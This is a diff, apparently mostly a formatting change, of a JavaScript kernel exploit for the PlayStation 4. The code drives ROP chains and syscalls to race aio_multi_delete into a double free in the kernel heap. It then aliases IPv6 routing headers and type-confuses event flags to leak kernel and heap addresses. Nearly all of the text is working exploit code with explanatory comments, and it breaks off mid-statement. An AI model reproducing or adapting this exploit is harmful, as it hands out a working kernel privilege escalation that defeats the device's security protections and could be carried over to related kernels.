num_clobbers = 8; let chain = null; -async function init() { - await rop.init(); - chain = new Chain(); +let nogc = []; - rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base); +async function init() { + await rop.init(); + chain = new Chain(); + + rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base); } function sys_void(...args) { - return chain.syscall_void(...args); + return chain.syscall_void(...args); } function sysi(...args) { - return chain.sysi(...args); + return chain.sysi(...args); } function call_nze(...args) { - const res = chain.call_int(...args); - if (res !== 0) { - die(`call(${args[0]}) returned nonzero: ${res}`); - } + const res = chain.call_int(...args); + if (res !== 0) { + die(`call(${args[0]}) returned nonzero: ${res}`); + } } // #define SCE_KERNEL_AIO_STATE_NOTIFIED 0x10000 @@ -244,7 +251,7 @@ function call_nze(...args) { // SceKernelAioSubmitId ids[] // ); function aio_submit_cmd(cmd, requests, num_requests, handles) { - sysi('aio_submit_cmd', cmd, requests, num_requests, 3, handles); + sysi("aio_submit_cmd", cmd, requests, num_requests, 3, handles); } // the various SceAIO syscalls that copies out errors/states will not check if @@ -259,8 +266,8 @@ const _aio_errors_p = _aio_errors.addr; // u_int num_ids, // int sce_errors[] // ); -function aio_multi_delete(ids, num_ids, sce_errs=_aio_errors_p) { - sysi('aio_multi_delete', ids, num_ids, sce_errs); +function aio_multi_delete(ids, num_ids, sce_errs = _aio_errors_p) { + sysi("aio_multi_delete", ids, num_ids, sce_errs); } // int @@ -269,8 +276,8 @@ function aio_multi_delete(ids, num_ids, sce_errs=_aio_errors_p) { // u_int num_ids, // int states[] // ); -function aio_multi_poll(ids, num_ids, sce_errs=_aio_errors_p) { - sysi('aio_multi_poll', ids, num_ids, sce_errs); +function aio_multi_poll(ids, num_ids, sce_errs = _aio_errors_p) { + sysi("aio_multi_poll", ids, num_ids, sce_errs); } // int @@ -279,8 +286,8 @@ function aio_multi_poll(ids, num_ids, sce_errs=_aio_errors_p) { // u_int num_ids, // int states[] // ); -function aio_multi_cancel(ids, num_ids, sce_errs=_aio_errors_p) { - sysi('aio_multi_cancel', ids, num_ids, sce_errs); +function aio_multi_cancel(ids, num_ids, sce_errs = _aio_errors_p) { + sysi("aio_multi_cancel", ids, num_ids, sce_errs); } // // wait for all (AND) or atleast one (OR) to finish @@ -298,183 +305,161 @@ function aio_multi_cancel(ids, num_ids, sce_errs=_aio_errors_p) { // uint32_t mode, // useconds_t *timeout // ); -function aio_multi_wait(ids, num_ids, sce_errs=_aio_errors_p) { - sysi('aio_multi_wait', ids, num_ids, sce_errs, 1, 0); +function aio_multi_wait(ids, num_ids, sce_errs = _aio_errors_p) { + sysi("aio_multi_wait", ids, num_ids, sce_errs, 1, 0); } function make_reqs1(num_reqs) { - const reqs1 = new Buffer(0x28 * num_reqs); - for (let i = 0; i < num_reqs; i++) { - // .fd = -1 - reqs1.write32(0x20 + i*0x28, -1); - } - return reqs1; + const reqs1 = new Buffer(0x28 * num_reqs); + for (let i = 0; i < num_reqs; i++) { + // .fd = -1 + reqs1.write32(0x20 + i * 0x28, -1); + } + return reqs1; } -function spray_aio( - loops=1, reqs1_p, num_reqs, ids_p, multi=true, cmd=AIO_CMD_READ, -) { - const step = 4 * (multi ? num_reqs : 1); - cmd |= multi ? AIO_CMD_FLAG_MULTI : 0; - for (let i = 0, idx = 0; i < loops; i++) { - aio_submit_cmd(cmd, reqs1_p, num_reqs, ids_p.add(idx)); - idx += step; - } +function spray_aio(loops = 1, reqs1_p, num_reqs, ids_p, multi = true, cmd = AIO_CMD_READ) { + const step = 4 * (multi ? num_reqs : 1); + cmd |= multi ? AIO_CMD_FLAG_MULTI : 0; + for (let i = 0, idx = 0; i < loops; i++) { + aio_submit_cmd(cmd, reqs1_p, num_reqs, ids_p.add(idx)); + idx += step; + } } -function poll_aio(ids, states, num_ids=ids.length) { - if (states !== undefined) { - states = states.addr; - } - aio_multi_poll(ids.addr, num_ids, states); +function poll_aio(ids, states, num_ids = ids.length) { + if (states !== undefined) { + states = states.addr; + } + aio_multi_poll(ids.addr, num_ids, states); } function cancel_aios(ids_p, num_ids) { - const len = max_aio_ids; - const rem = num_ids % len; - const num_batches = (num_ids - rem) / len; - for (let bi = 0; bi < num_batches; bi++) { - aio_multi_cancel(ids_p.add((bi << 2) * len), len); - } - if (rem) { - aio_multi_cancel(ids_p.add((num_batches << 2) * len), rem); - } + const len = max_aio_ids; + const rem = num_ids % len; + const num_batches = (num_ids - rem) / len; + for (let bi = 0; bi < num_batches; bi++) { + aio_multi_cancel(ids_p.add((bi << 2) * len), len); + } + if (rem) { + aio_multi_cancel(ids_p.add((num_batches << 2) * len), rem); + } } function free_aios(ids_p, num_ids) { - const len = max_aio_ids; - const rem = num_ids % len; - const num_batches = (num_ids - rem) / len; - for (let bi = 0; bi < num_batches; bi++) { - const addr = ids_p.add((bi << 2) * len); - aio_multi_cancel(addr, len); - aio_multi_poll(addr, len); - aio_multi_delete(addr, len); - } - if (rem) { - const addr = ids_p.add((num_batches << 2) * len); - aio_multi_cancel(addr, len); - aio_multi_poll(addr, len); - aio_multi_delete(addr, len); - } + const len = max_aio_ids; + const rem = num_ids % len; + const num_batches = (num_ids - rem) / len; + for (let bi = 0; bi < num_batches; bi++) { + const addr = ids_p.add((bi << 2) * len); + aio_multi_cancel(addr, len); + aio_multi_poll(addr, len); + aio_multi_delete(addr, len); + } + if (rem) { + const addr = ids_p.add((num_batches << 2) * len); + aio_multi_cancel(addr, len); + aio_multi_poll(addr, len); + aio_multi_delete(addr, len); + } } function free_aios2(ids_p, num_ids) { - const len = max_aio_ids; - const rem = num_ids % len; - const num_batches = (num_ids - rem) / len; - for (let bi = 0; bi < num_batches; bi++) { - const addr = ids_p.add((bi << 2) * len); - aio_multi_poll(addr, len); - aio_multi_delete(addr, len); - } - if (rem) { - const addr = ids_p.add((num_batches << 2) * len); - aio_multi_poll(addr, len); - aio_multi_delete(addr, len); - } + const len = max_aio_ids; + const rem = num_ids % len; + const num_batches = (num_ids - rem) / len; + for (let bi = 0; bi < num_batches; bi++) { + const addr = ids_p.add((bi << 2) * len); + aio_multi_poll(addr, len); + aio_multi_delete(addr, len); + } + if (rem) { + const addr = ids_p.add((num_batches << 2) * len); + aio_multi_poll(addr, len); + aio_multi_delete(addr, len); + } } function get_our_affinity(mask) { - sysi( - 'cpuset_getaffinity', - CPU_LEVEL_WHICH, - CPU_WHICH_TID, - -1, - 8, - mask.addr, - ); + sysi("cpuset_getaffinity", CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 8, mask.addr); } function set_our_affinity(mask) { - sysi( - 'cpuset_setaffinity', - CPU_LEVEL_WHICH, - CPU_WHICH_TID, - -1, - 8, - mask.addr, - ); + sysi("cpuset_setaffinity", CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 8, mask.addr); } function close(fd) { - sysi('close', fd); + sysi("close", fd); } function new_socket() { - return sysi('socket', AF_INET6, SOCK_DGRAM, IPPROTO_UDP); + return sysi("socket", AF_INET6, SOCK_DGRAM, IPPROTO_UDP); } function new_tcp_socket() { - return sysi('socket', AF_INET, SOCK_STREAM, 0); + return sysi("socket", AF_INET, SOCK_STREAM, 0); } function gsockopt(sd, level, optname, optval, optlen) { - const size = new Word(optval.size); - if (optlen !== undefined) { - size[0] = optlen; - } + const size = new Word(optval.size); + if (optlen !== undefined) { + size[0] = optlen; + } - sysi('getsockopt', sd, level, optname, optval.addr, size.addr); - return size[0]; + sysi("getsockopt", sd, level, optname, optval.addr, size.addr); + return size[0]; } function setsockopt(sd, level, optname, optval, optlen) { - sysi('setsockopt', sd, level, optname, optval, optlen); + sysi("setsockopt", sd, level, optname, optval, optlen); } function ssockopt(sd, level, optname, optval, optlen) { - if (optlen === undefined) { - optlen = optval.size; - } + if (optlen === undefined) { + optlen = optval.size; + } - const addr = optval.addr; - setsockopt(sd, level, optname, addr, optlen); + const addr = optval.addr; + setsockopt(sd, level, optname, addr, optlen); } function get_rthdr(sd, buf, len) { - return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len); + return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len); } function set_rthdr(sd, buf, len) { - ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len); + ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len); } function free_rthdrs(sds) { - for (const sd of sds) { - setsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0); - } + for (const sd of sds) { + setsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0); + } } function build_rthdr(buf, size) { - const len = ((size >> 3) - 1) & ~1; - size = (len + 1) << 3; + const len = ((size >> 3) - 1) & ~1; + size = (len + 1) << 3; - buf[0] = 0; - buf[1] = len; - buf[2] = 0; - buf[3] = len >> 1; + buf[0] = 0; + buf[1] = len; + buf[2] = 0; + buf[3] = len >> 1; - return size; + return size; } function spawn_thread(thread) { - const ctx = new Buffer(context_size); - const pthread = new Pointer(); - pthread.ctx = ctx; - // pivot the pthread's stack pointer to our stack - ctx.write64(0x38, thread.stack_addr); - ctx.write64(0x80, thread.get_gadget('ret')); + const ctx = new Buffer(context_size); + const pthread = new Pointer(); + pthread.ctx = ctx; + // pivot the pthread's stack pointer to our stack + ctx.write64(0x38, thread.stack_addr); + ctx.write64(0x80, thread.get_gadget("ret")); - call_nze( - 'pthread_create', - pthread.addr, - 0, - chain.get_gadget('setcontext'), - ctx.addr, - ); + call_nze("pthread_create", pthread.addr, 0, chain.get_gadget("setcontext"), ctx.addr); - return pthread; + return pthread; } // EXPLOIT STAGES IMPLEMENTATION @@ -482,33 +467,33 @@ function spawn_thread(thread) { // FUNCTIONS FOR STAGE: 0x80 MALLOC ZONE DOUBLE FREE function make_aliased_rthdrs(sds) { - const marker_offset = 4; - const size = 0x80; - const buf = new Buffer(size); - const rsize = build_rthdr(buf, size); + const marker_offset = 4; + const size = 0x80; + const buf = new Buffer(size); + const rsize = build_rthdr(buf, size); - for (let loop = 0; loop < num_alias; loop++) { - for (let i = 0; i < num_sds; i++) { - buf.write32(marker_offset, i); - set_rthdr(sds[i], buf, rsize); - } - - for (let i = 0; i < sds.length; i++) { - get_rthdr(sds[i], buf); - const marker = buf.read32(marker_offset); - if (marker !== i) { - log(`aliased rthdrs at attempt: ${loop}`); - const pair = [sds[i], sds[marker]]; - log(`found pair: ${pair}`); - sds.splice(marker, 1); - sds.splice(i, 1); - free_rthdrs(sds); - sds.push(new_socket(), new_socket()); - return pair; - } - } + for (let loop = 0; loop < num_alias; loop++) { + for (let i = 0; i < num_sds; i++) { + buf.write32(marker_offset, i); + set_rthdr(sds[i], buf, rsize); } - die(`failed to make aliased rthdrs. size: ${hex(size)}`); + + for (let i = 0; i < sds.length; i++) { + get_rthdr(sds[i], buf); + const marker = buf.read32(marker_offset); + if (marker !== i) { + log(`aliased rthdrs at attempt: ${loop}`); + const pair = [sds[i], sds[marker]]; + log(`found pair: ${pair}`); + sds.splice(marker, 1); + sds.splice(i, 1); + free_rthdrs(sds); + sds.push(new_socket(), new_socket()); + return pair; + } + } + } + die(`failed to make aliased rthdrs. size: ${hex(size)}`); } // summary of the bug at aio_multi_delete(): @@ -557,634 +542,611 @@ function make_aliased_rthdrs(sds) { // // ... // } function race_one(request_addr, tcp_sd, barrier, racer, sds) { - const sce_errs = new View4([-1, -1]); - const thr_mask = new Word(1 << main_core); + const sce_errs = new View4([-1, -1]); + const thr_mask = new Word(1 << main_core); - const thr = racer; - thr.push_syscall( - 'cpuset_setaffinity', - CPU_LEVEL_WHICH, - CPU_WHICH_TID, - -1, - 8, - thr_mask.addr, - ); - thr.push_syscall('rtprio_thread', RTP_SET, 0, rtprio.addr); - thr.push_gadget('pop rax; ret'); - thr.push_value(1); - thr.push_get_retval(); - thr.push_call('pthread_barrier_wait', barrier.addr); - thr.push_syscall( - 'aio_multi_delete', - request_addr, - 1, - sce_errs.addr_at(1), - ); - thr.push_call('pthread_exit', 0); + const thr = racer; + thr.push_syscall("cpuset_setaffinity", CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 8, thr_mask.addr); + thr.push_syscall("rtprio_thread", RTP_SET, 0, rtprio.addr); + thr.push_gadget("pop rax; ret"); + thr.push_value(1); + thr.push_get_retval(); + thr.push_call("pthread_barrier_wait", barrier.addr); + thr.push_syscall("aio_multi_delete", request_addr, 1, sce_errs.addr_at(1)); + thr.push_call("pthread_exit", 0); - const pthr = spawn_thread(thr); - const thr_tid = pthr.read32(0); + const pthr = spawn_thread(thr); + const thr_tid = pthr.read32(0); - // pthread barrier implementation: - // - // given a barrier that needs N threads for it to be unlocked, a thread - // will sleep if it waits on the barrier and N - 1 threads havent't arrived - // before - // - // if there were already N - 1 threads then that thread (last waiter) won't - // sleep and it will send out a wake-up call to the waiting threads - // - // since the ps4's cores only have 1 hardware thread each, we can pin 2 - // threads on the same core and control the interleaving of their - // executions via controlled context switches + // pthread barrier implementation: + // + // given a barrier that needs N threads for it to be unlocked, a thread + // will sleep if it waits on the barrier and N - 1 threads havent't arrived + // before + // + // if there were already N - 1 threads then that thread (last waiter) won't + // sleep and it will send out a wake-up call to the waiting threads + // + // since the ps4's cores only have 1 hardware thread each, we can pin 2 + // threads on the same core and control the interleaving of their + // executions via controlled context switches - // wait for the worker to enter the barrier and sleep - while (thr.retval_int === 0) { - sys_void('sched_yield'); - } + // wait for the worker to enter the barrier and sleep + while (thr.retval_int === 0) { + sys_void("sched_yield"); + } - // enter the barrier as the last waiter - chain.push_call('pthread_barrier_wait', barrier.addr); - // yield and hope the scheduler runs the worker next. the worker will then - // sleep at soclose() and hopefully we run next - chain.push_syscall('sched_yield'); - // if we get here and the worker hasn't been reran then we can delay the - // worker's execution of soclose() indefinitely - chain.push_syscall('thr_suspend_ucontext', thr_tid); - chain.push_get_retval(); - chain.push_get_errno(); - chain.push_end(); - chain.run(); - chain.reset(); + // enter the barrier as the last waiter + chain.push_call("pthread_barrier_wait", barrier.addr); + // yield and hope the scheduler runs the worker next. the worker will then + // sleep at soclose() and hopefully we run next + chain.push_syscall("sched_yield"); + // if we get here and the worker hasn't been reran then we can delay the + // worker's execution of soclose() indefinitely + chain.push_syscall("thr_suspend_ucontext", thr_tid); + chain.push_get_retval(); + chain.push_get_errno(); + chain.push_end(); + chain.run(); + chain.reset(); - const main_res = chain.retval_int; - log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`); - - if (main_res === -1) { - call_nze('pthread_join', pthr, 0); - log(); - return null; - } - - let won_race = false; - try { - const poll_err = new View4(1); - aio_multi_poll(request_addr, 1, poll_err.addr); - log(`poll: ${hex(poll_err[0])}`); - - const info_buf = new View1(size_tcp_info); - const info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf); - log(`info size: ${hex(info_size)}`); - - if (info_size !== size_tcp_info) { - die(`info size isn't ${size_tcp_info}: ${info_size}`); - } - - const tcp_state = info_buf[0]; - log(`tcp_state: ${tcp_state}`); - - const SCE_KERNEL_ERROR_ESRCH = 0x80020003; - if (poll_err[0] !== SCE_KERNEL_ERROR_ESRCH - && tcp_state !== TCPS_ESTABLISHED - ) { - // PANIC: double free on the 0x80 malloc zone. important kernel - // data may alias - aio_multi_delete(request_addr, 1, sce_errs.addr); - won_race = true; - } - } finally { - log('resume thread\n'); - sysi('thr_resume_ucontext', thr_tid); - call_nze('pthread_join', pthr, 0); - } - - if (won_race) { - log(`race errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`); - // if the code has no bugs then this isn't possible but we keep the - // check for easier debugging - if (sce_errs[0] !== sce_errs[1]) { - log('ERROR: bad won_race'); - die('ERROR: bad won_race'); - } - // RESTORE: double freed memory has been reclaimed with harmless data - // PANIC: 0x80 malloc zone pointers aliased - return make_aliased_rthdrs(sds); - } + const main_res = chain.retval_int; + log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`); + if (main_res === -1) { + call_nze("pthread_join", pthr, 0); + log(); return null; + } + + let won_race = false; + try { + const poll_err = new View4(1); + aio_multi_poll(request_addr, 1, poll_err.addr); + log(`poll: ${hex(poll_err[0])}`); + + const info_buf = new View1(size_tcp_info); + const info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf); + log(`info size: ${hex(info_size)}`); + + if (info_size !== size_tcp_info) { + die(`info size isn't ${size_tcp_info}: ${info_size}`); + } + + const tcp_state = info_buf[0]; + log(`tcp_state: ${tcp_state}`); + + const SCE_KERNEL_ERROR_ESRCH = 0x80020003; + if (poll_err[0] !== SCE_KERNEL_ERROR_ESRCH && tcp_state !== TCPS_ESTABLISHED) { + // PANIC: double free on the 0x80 malloc zone. important kernel + // data may alias + aio_multi_delete(request_addr, 1, sce_errs.addr); + won_race = true; + } + } finally { + log("resume thread\n"); + sysi("thr_resume_ucontext", thr_tid); + call_nze("pthread_join", pthr, 0); + } + + if (won_race) { + log(`race errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`); + // if the code has no bugs then this isn't possible but we keep the + // check for easier debugging + if (sce_errs[0] !== sce_errs[1]) { + log("ERROR: bad won_race"); + die("ERROR: bad won_race"); + } + // RESTORE: double freed memory has been reclaimed with harmless data + // PANIC: 0x80 malloc zone pointers aliased + return make_aliased_rthdrs(sds); + } + + return null; } function double_free_reqs2(sds) { - function swap_bytes(x, byte_length) { - let res = 0; - for (let i = 0; i < byte_length; i++) { - res |= ((x >> 8 * i) & 0xff) << 8 * (byte_length - i - 1); - } - - return res >>> 0; + function swap_bytes(x, byte_length) { + let res = 0; + for (let i = 0; i < byte_length; i++) { + res |= ((x >> (8 * i)) & 0xff) << (8 * (byte_length - i - 1)); } - function htons(x) { - return swap_bytes(x, 2); + return res >>> 0; + } + + function htons(x) { + return swap_bytes(x, 2); + } + + function htonl(x) { + return swap_bytes(x, 4); + } + + const server_addr = new Buffer(16); + // sockaddr_in.sin_family + server_addr[1] = AF_INET; + // sockaddr_in.sin_port + server_addr.write16(2, htons(5050)); + // sockaddr_in.sin_addr = 127.0.0.1 + server_addr.write32(4, htonl(0x7f000001)); + + const racer = new Chain(); + const barrier = new Long(); + call_nze("pthread_barrier_init", barrier.addr, 0, 2); + + const num_reqs = 3; + const which_req = num_reqs - 1; + const reqs1 = make_reqs1(num_reqs); + const reqs1_p = reqs1.addr; + const aio_ids = new View4(num_reqs); + const aio_ids_p = aio_ids.addr; + const req_addr = aio_ids.addr_at(which_req); + const cmd = AIO_CMD_MULTI_READ; + + const sd_listen = new_tcp_socket(); + ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1)); + + sysi("bind", sd_listen, server_addr.addr, server_addr.size); + sysi("listen", sd_listen, 1); + + for (let i = 0; i < num_races; i++) { + const sd_client = new_tcp_socket(); + sysi("connect", sd_client, server_addr.addr, server_addr.size); + + const sd_conn = sysi("accept", sd_listen, 0, 0); + // force soclose() to sleep + ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1)); + reqs1.write32(0x20 + which_req * 0x28, sd_client); + + aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p); + aio_multi_cancel(aio_ids_p, num_reqs); + aio_multi_poll(aio_ids_p, num_reqs); + + // drop the reference so that aio_multi_delete() will trigger _fdrop() + close(sd_client); + + const res = race_one(req_addr, sd_conn, barrier, racer, sds); + racer.reset(); + + // MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented + // twice. this will leave one request undeleted + aio_multi_delete(aio_ids_p, num_reqs); + close(sd_conn); + + if (res !== null) { + log(`won race at attempt: ${i}`); + close(sd_listen); + call_nze("pthread_barrier_destroy", barrier.addr); + return res; } + } - function htonl(x) { - return swap_bytes(x, 4); - } - - const server_addr = new Buffer(16); - // sockaddr_in.sin_family - server_addr[1] = AF_INET; - // sockaddr_in.sin_port - server_addr.write16(2, htons(5050)); - // sockaddr_in.sin_addr = 127.0.0.1 - server_addr.write32(4, htonl(0x7f000001)); - - const racer = new Chain(); - const barrier = new Long(); - call_nze('pthread_barrier_init', barrier.addr, 0, 2); - - const num_reqs = 3; - const which_req = num_reqs - 1; - const reqs1 = make_reqs1(num_reqs); - const reqs1_p = reqs1.addr; - const aio_ids = new View4(num_reqs); - const aio_ids_p = aio_ids.addr; - const req_addr = aio_ids.addr_at(which_req); - const cmd = AIO_CMD_MULTI_READ; - - const sd_listen = new_tcp_socket(); - ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1)); - - sysi('bind', sd_listen, server_addr.addr, server_addr.size); - sysi('listen', sd_listen, 1); - - for (let i = 0; i < num_races; i++) { - const sd_client = new_tcp_socket(); - sysi('connect', sd_client, server_addr.addr, server_addr.size); - - const sd_conn = sysi('accept', sd_listen, 0, 0); - // force soclose() to sleep - ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1)); - reqs1.write32(0x20 + which_req*0x28, sd_client); - - aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p); - aio_multi_cancel(aio_ids_p, num_reqs); - aio_multi_poll(aio_ids_p, num_reqs); - - // drop the reference so that aio_multi_delete() will trigger _fdrop() - close(sd_client); - - const res = race_one(req_addr, sd_conn, barrier, racer, sds); - racer.reset(); - - // MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented - // twice. this will leave one request undeleted - aio_multi_delete(aio_ids_p, num_reqs); - close(sd_conn); - - if (res !== null) { - log(`won race at attempt: ${i}`); - close(sd_listen); - call_nze('pthread_barrier_destroy', barrier.addr); - return res; - } - } - - die('failed aio double free'); + die("failed aio double free"); } // FUNCTIONS FOR STAGE: LEAK 0x100 MALLOC ZONE ADDRESS function new_evf(flags) { - const name = cstr(''); - // int evf_create(char *name, uint32_t attributes, uint64_t flags) - return sysi('evf_create', name.addr, 0, flags); + const name = cstr(""); + // int evf_create(char *name, uint32_t attributes, uint64_t flags) + return sysi("evf_create", name.addr, 0, flags); } function set_evf_flags(id, flags) { - sysi('evf_clear', id, 0); - sysi('evf_set', id, flags); + sysi("evf_clear", id, 0); + sysi("evf_set", id, flags); } function free_evf(id) { - sysi('evf_delete', id); + sysi("evf_delete", id); } function verify_reqs2(buf, offset) { - // reqs2.ar2_cmd - if (buf.read32(offset) !== AIO_CMD_WRITE) { - return false; + // reqs2.ar2_cmd + if (buf.read32(offset) !== AIO_CMD_WRITE) { + return false; + } + + // heap addresses are prefixed with 0xffff_xxxx + // xxxx is randomized on boot + // + // heap_prefixes is a array of randomized prefix bits from a group of heap + // address candidates. if the candidates truly are from the heap, they must + // share a common prefix + const heap_prefixes = []; + + // check if offsets 0x10 to 0x20 look like a kernel heap address + for (let i = 0x10; i <= 0x20; i += 8) { + if (buf.read16(offset + i + 6) !== 0xffff) { + return false; } + heap_prefixes.push(buf.read16(offset + i + 4)); + } - // heap addresses are prefixed with 0xffff_xxxx - // xxxx is randomized on boot - // - // heap_prefixes is a array of randomized prefix bits from a group of heap - // address candidates. if the candidates truly are from the heap, they must - // share a common prefix - const heap_prefixes = []; + // check reqs2.ar2_result.state + // state is actually a 32-bit value but the allocated memory was + // initialized with zeros. all padding bytes must be 0 then + let state = buf.read32(offset + 0x38); + if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) { + return false; + } - // check if offsets 0x10 to 0x20 look like a kernel heap address - for (let i = 0x10; i <= 0x20; i += 8) { - if (buf.read16(offset + i + 6) !== 0xffff) { - return false; - } + // reqs2.ar2_file must be NULL since we passed a bad file descriptor to + // aio_submit_cmd() + if (!buf.read64(offset + 0x40).eq(0)) { + return false; + } + + // check if offsets 0x48 to 0x50 look like a kernel address + for (let i = 0x48; i <= 0x50; i += 8) { + if (buf.read16(offset + i + 6) === 0xffff) { + // don't push kernel ELF addresses + if (buf.read16(offset + i + 4) !== 0xffff) { heap_prefixes.push(buf.read16(offset + i + 4)); + } + // offset 0x48 can be NULL + } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) { + return false; } + } - // check reqs2.ar2_result.state - // state is actually a 32-bit value but the allocated memory was - // initialized with zeros. all padding bytes must be 0 then - let state = buf.read32(offset + 0x38); - if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) { - return false; - } - - // reqs2.ar2_file must be NULL since we passed a bad file descriptor to - // aio_submit_cmd() - if (!buf.read64(offset + 0x40).eq(0)) { - return false; - } - - // check if offsets 0x48 to 0x50 look like a kernel address - for (let i = 0x48; i <= 0x50; i += 8) { - if (buf.read16(offset + i + 6) === 0xffff) { - // don't push kernel ELF addresses - if (buf.read16(offset + i + 4) !== 0xffff) { - heap_prefixes.push(buf.read16(offset + i + 4)); - } - // offset 0x48 can be NULL - } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) { - return false; - } - } - - return heap_prefixes.every((e, i, a) => e === a[0]); + return heap_prefixes.every((e, i, a) => e === a[0]); } function leak_kernel_addrs(sd_pair) { - close(sd_pair[1]); - const sd = sd_pair[0]; - const buf = new Buffer(0x80 * leak_len); + close(sd_pair[1]); + const sd = sd_pair[0]; + const buf = new Buffer(0x80 * leak_len); - // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf - // must be set to >= 0xf00 in order to fully leak the contents of the rthdr - log('confuse evf with rthdr'); - let evf = null; - for (let i = 0; i < num_alias; i++) { - const evfs = []; - for (let i = 0; i < num_handles; i++) { - evfs.push(new_evf(0xf00 | i << 16)); - } - - get_rthdr(sd, buf, 0x80); - // for simplicity, we'll assume i < 2**16 - const flags32 = buf.read32(0); - evf = evfs[flags32 >>> 16]; - - set_evf_flags(evf, flags32 | 1); - get_rthdr(sd, buf, 0x80); - - if (buf.read32(0) === flags32 | 1) { - evfs.splice(flags32 >> 16, 1); - } else { - evf = null; - } - - for (const evf of evfs) { - free_evf(evf); - } - - if (evf !== null) { - log(`confused rthdr and evf at attempt: ${i}`); - break; - } + // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf + // must be set to >= 0xf00 in order to fully leak the contents of the rthdr + log("confuse evf with rthdr"); + let evf = null; + for (let i = 0; i < num_alias; i++) { + const evfs = []; + for (let i = 0; i < num_handles; i++) { + evfs.push(new_evf(0xf00 | (i << 16))); } - if (evf === null) { - die('failed to confuse evf and rthdr'); - } + get_rthdr(sd, buf, 0x80); + // for simplicity, we'll assume i < 2**16 + const flags32 = buf.read32(0); + evf = evfs[flags32 >>> 16]; - set_evf_flags(evf, 0xff << 8); + set_evf_flags(evf, flags32 | 1); get_rthdr(sd, buf, 0x80); - // fields we use from evf (number before the field is the offset in hex): - // struct evf: - // 0 u64 flags - // 28 struct cv cv - // 38 TAILQ_HEAD(struct evf_waiter) waiters - - // evf.cv.cv_description = "evf cv" - // string is located at the kernel's mapped ELF file - const kernel_addr = buf.read64(0x28); - log(`"evf cv" string addr: ${kernel_addr}`); - // because of TAILQ_INIT(), we have: - // - // evf.waiters.tqh_last == &evf.waiters.tqh_first - // - // we now know the address of the kernel buffer we are leaking - const kbuf_addr = buf.read64(0x40).sub(0x38); - log(`kernel buffer addr: ${kbuf_addr}`); - - // 0x80 < num_elems * sizeof(SceKernelAioRWRequest) <= 0x100 - // allocate reqs1 arrays at 0x100 malloc zone - const num_elems = 6; - // use reqs1 to fake a aio_info. set .ai_cred (offset 0x10) to offset 4 of - // the reqs2 so crfree(ai_cred) will harmlessly decrement the .ar2_ticket - // field - const ucred = kbuf_addr.add(4); - - const leak_reqs = make_reqs1(num_elems); - const leak_reqs_p = leak_reqs.addr; - leak_reqs.write64(0x10, ucred); - - const leak_ids_len = num_handles * num_elems; - const leak_ids = new View4(leak_ids_len); - const leak_ids_p = leak_ids.addr; - - log('find aio_entry'); - let reqs2_off = null; - loop: for (let i = 0; i < num_leaks; i++) { - get_rthdr(sd, buf); - - spray_aio( - num_handles, - leak_reqs_p, - num_elems, - leak_ids_p, - true, - AIO_CMD_WRITE, - ); - - get_rthdr(sd, buf); - for (let off = 0x80; off < buf.length; off += 0x80) { - if (verify_reqs2(buf, off)) { - reqs2_off = off; - log(`found reqs2 at attempt: ${i}`); - break loop; - } - } - - free_aios(leak_ids_p, leak_ids_len); + if ((buf.read32(0) === flags32) | 1) { + evfs.splice(flags32 >> 16, 1); + } else { + evf = null; } - if (reqs2_off === null) { - die('could not leak a reqs2'); + + for (const evf of evfs) { + free_evf(evf); } - log(`reqs2 offset: ${hex(reqs2_off)}`); + + if (evf !== null) { + log(`confused rthdr and evf at attempt: ${i}`); + break; + } + } + + if (evf === null) { + die("failed to confuse evf and rthdr"); + } + + set_evf_flags(evf, 0xff << 8); + get_rthdr(sd, buf, 0x80); + + // fields we use from evf (number before the field is the offset in hex): + // struct evf: + // 0 u64 flags + // 28 struct cv cv + // 38 TAILQ_HEAD(struct evf_waiter) waiters + + // evf.cv.cv_description = "evf cv" + // string is located at the kernel's mapped ELF file + const kernel_addr = buf.read64(0x28); + log(`"evf cv" string addr: ${kernel_addr}`); + // because of TAILQ_INIT(), we have: + // + // evf.waiters.tqh_last == &evf.waiters.tqh_first + // + // we now know the address of the kernel buffer we are leaking + const kbuf_addr = buf.read64(0x40).sub(0x38); + log(`kernel buffer addr: ${kbuf_addr}`); + + // 0x80 < num_elems * sizeof(SceKernelAioRWRequest) <= 0x100 + // allocate reqs1 arrays at 0x100 malloc zone + const num_elems = 6; + // use reqs1 to fake a aio_info. set .ai_cred (offset 0x10) to offset 4 of + // the reqs2 so crfree(ai_cred) will harmlessly decrement the .ar2_ticket + // field + const ucred = kbuf_addr.add(4); + + const leak_reqs = make_reqs1(num_elems); + const leak_reqs_p = leak_reqs.addr; + leak_reqs.write64(0x10, ucred); + + const leak_ids_len = num_handles * num_elems; + const leak_ids = new View4(leak_ids_len); + const leak_ids_p = leak_ids.addr; + + log("find aio_entry"); + let reqs2_off = null; + loop: for (let i = 